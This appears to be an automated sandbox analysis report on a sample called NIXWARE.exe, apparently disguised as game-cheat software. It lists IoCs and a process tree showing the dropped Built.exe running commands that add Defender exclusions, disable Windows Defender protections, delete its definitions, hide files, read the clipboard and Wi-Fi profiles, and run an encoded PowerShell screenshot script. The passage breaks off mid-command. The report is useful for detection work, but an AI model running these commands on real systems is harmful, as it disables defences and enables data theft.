Token: SeDebugPrivilege	5296	powershell.exe
Token: SeIncreaseQuotaPrivilege	6052	WMIC.exe
Token: SeSecurityPrivilege	6052	WMIC.exe
Token: SeTakeOwnershipPrivilege	6052	WMIC.exe
Token: SeLoadDriverPrivilege	6052	WMIC.exe
Token: SeSystemProfilePrivilege	6052	WMIC.exe
Token: SeSystemtimePrivilege	6052	WMIC.exe
Token: SeProfSingleProcessPrivilege	6052	WMIC.exe
Token: SeIncBasePriorityPrivilege	6052	WMIC.exe
Token: SeCreatePagefilePrivilege	6052	WMIC.exe
Token: SeBackupPrivilege	6052	WMIC.exe
Token: SeRestorePrivilege	6052	WMIC.exe
Token: SeShutdownPrivilege	6052	WMIC.exe
Token: SeDebugPrivilege	6052	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6052	WMIC.exe
Token: SeRemoteShutdownPrivilege	6052	WMIC.exe
Token: SeUndockPrivilege	6052	WMIC.exe
Token: SeManageVolumePrivilege	6052	WMIC.exe
Token: 33	6052	WMIC.exe
Token: 34	6052	WMIC.exe
Token: 35	6052	WMIC.exe
Token: 36	6052	WMIC.exe
Token: SeDebugPrivilege	748	checker-cheats (1).exe
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeDebugPrivilege	1716	powershell.exe
Token: SeDebugPrivilege	668	tasklist.exe
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeIncreaseQuotaPrivilege	2288	WMIC.exe
Token: SeSecurityPrivilege	2288	WMIC.exe
Token: SeTakeOwnershipPrivilege	2288	WMIC.exe
Token: SeLoadDriverPrivilege	2288	WMIC.exe
Token: SeSystemProfilePrivilege	2288	WMIC.exe
Token: SeSystemtimePrivilege	2288	WMIC.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2504	ExLoader_Installer.exe
3800	ExLoader_Installer.exe
2504	ExLoader_Installer.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3476	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 6024 wrote to memory of 5272	6024	NIXWARE.exe	91
PID 6024 wrote to memory of 5272	6024	NIXWARE.exe	91
PID 6024 wrote to memory of 5108	6024	NIXWARE.exe	97
PID 6024 wrote to memory of 5108	6024	NIXWARE.exe	97
PID 6024 wrote to memory of 1916	6024	NIXWARE.exe	99
PID 6024 wrote to memory of 1916	6024	NIXWARE.exe	99
PID 968 wrote to memory of 3984	968	cmd.exe	98
PID 968 wrote to memory of 3984	968	cmd.exe	98
PID 6024 wrote to memory of 808	6024	NIXWARE.exe	106
PID 6024 wrote to memory of 808	6024	NIXWARE.exe	106
PID 6024 wrote to memory of 3604	6024	NIXWARE.exe	107
PID 6024 wrote to memory of 3604	6024	NIXWARE.exe	107
PID 5108 wrote to memory of 2504	5108	ExLoader_Installer.exe	110
PID 5108 wrote to memory of 2504	5108	ExLoader_Installer.exe	110
PID 808 wrote to memory of 4296	808	Built.exe	109
PID 808 wrote to memory of 4296	808	Built.exe	109
PID 5072 wrote to memory of 5188	5072	cmd.exe	111
PID 5072 wrote to memory of 5188	5072	cmd.exe	111
PID 5188 wrote to memory of 3140	5188	Built.exe	112
PID 5188 wrote to memory of 3140	5188	Built.exe	112
PID 3984 wrote to memory of 3800	3984	ExLoader_Installer.exe	113
PID 3984 wrote to memory of 3800	3984	ExLoader_Installer.exe	113
PID 4296 wrote to memory of 556	4296	Built.exe	114
PID 4296 wrote to memory of 556	4296	Built.exe	114
PID 4296 wrote to memory of 4584	4296	Built.exe	115
PID 4296 wrote to memory of 4584	4296	Built.exe	115
PID 4296 wrote to memory of 5236	4296	Built.exe	116
PID 4296 wrote to memory of 5236	4296	Built.exe	116
PID 4296 wrote to memory of 668	4296	Built.exe	185
PID 4296 wrote to memory of 668	4296	Built.exe	185
PID 4296 wrote to memory of 1044	4296	Built.exe	122
PID 4296 wrote to memory of 1044	4296	Built.exe	122
PID 4296 wrote to memory of 5904	4296	Built.exe	123
PID 4296 wrote to memory of 5904	4296	Built.exe	123
PID 1044 wrote to memory of 2312	1044	cmd.exe	126
PID 1044 wrote to memory of 2312	1044	cmd.exe	126
PID 5904 wrote to memory of 4780	5904	cmd.exe	127
PID 5904 wrote to memory of 4780	5904	cmd.exe	127
PID 4584 wrote to memory of 5688	4584	cmd.exe	128
PID 4584 wrote to memory of 5688	4584	cmd.exe	128
PID 5236 wrote to memory of 2756	5236	cmd.exe	129
PID 5236 wrote to memory of 2756	5236	cmd.exe	129
PID 668 wrote to memory of 6080	668	cmd.exe	130
PID 668 wrote to memory of 6080	668	cmd.exe	130
PID 556 wrote to memory of 6100	556	cmd.exe	131
PID 556 wrote to memory of 6100	556	cmd.exe	131
PID 4296 wrote to memory of 3616	4296	Built.exe	202
PID 4296 wrote to memory of 3616	4296	Built.exe	202
PID 4296 wrote to memory of 5000	4296	Built.exe	134
PID 4296 wrote to memory of 5000	4296	Built.exe	134
PID 4296 wrote to memory of 2928	4296	Built.exe	136
PID 4296 wrote to memory of 2928	4296	Built.exe	136
PID 4296 wrote to memory of 2860	4296	Built.exe	137
PID 4296 wrote to memory of 2860	4296	Built.exe	137
PID 4296 wrote to memory of 5856	4296	Built.exe	139
PID 4296 wrote to memory of 5856	4296	Built.exe	139
PID 4296 wrote to memory of 5324	4296	Built.exe	141
PID 4296 wrote to memory of 5324	4296	Built.exe	141
PID 4296 wrote to memory of 2876	4296	Built.exe	143
PID 4296 wrote to memory of 2876	4296	Built.exe	143
PID 4296 wrote to memory of 1152	4296	Built.exe	145
PID 4296 wrote to memory of 1152	4296	Built.exe	145
PID 3616 wrote to memory of 6052	3616	cmd.exe	149
PID 3616 wrote to memory of 6052	3616	cmd.exe	149

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2756	attrib.exe
436	attrib.exe
4024	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:384

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:948

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1192
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1492
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1512

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1976

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1984

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2612

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2984

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3376

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of UnmapMainImage
PID:3476
- C:\Users\Admin\AppData\Local\Temp\NIXWARE.exe
  "C:\Users\Admin\AppData\Local\Temp\NIXWARE.exe"
  2⤵
  - Checks computer location settings
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:6024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ExLoader_Installer.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5272
- - C:\Users\Admin\AppData\Local\Temp\ExLoader_Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\ExLoader_Installer.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5108
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\ExLoader_Installer.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\ExLoader_Installer.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of SetWindowsHookEx
      PID:2504
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1916
- - C:\Users\Admin\AppData\Local\Temp\Built.exe
    "C:\Users\Admin\AppData\Local\Temp\Built.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:808
  - - C:\Users\Admin\AppData\Local\Temp\Built.exe
      "C:\Users\Admin\AppData\Local\Temp\Built.exe"
      4⤵
      Drops file in Drivers directory
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:4296
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:556
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6100
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4584
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5688
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Built.exe""
        5⤵
        Hide Artifacts: Hidden Files and Directories
        Suspicious use of WriteProcessMemory
        
        PID:5236
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Built.exe"
        6⤵
        Views/modifies file attributes
        
        PID:2756
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‍ .scr'"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:668
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‍ .scr'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6080
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1044
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2312
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5904
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4780
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3616
      - C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6052
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        5⤵
        Clipboard Data
        
        PID:5000
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        6⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4912
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:2928
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:684
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:2860
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:1220
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
        5⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5856
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4436
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        5⤵
        
        PID:5324
      - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        6⤵
        Gathers system information
        
        PID:2828
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
        5⤵
        
        PID:2876
      - C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
        6⤵
        
        PID:3524
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        5⤵
        
        PID:1152
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAA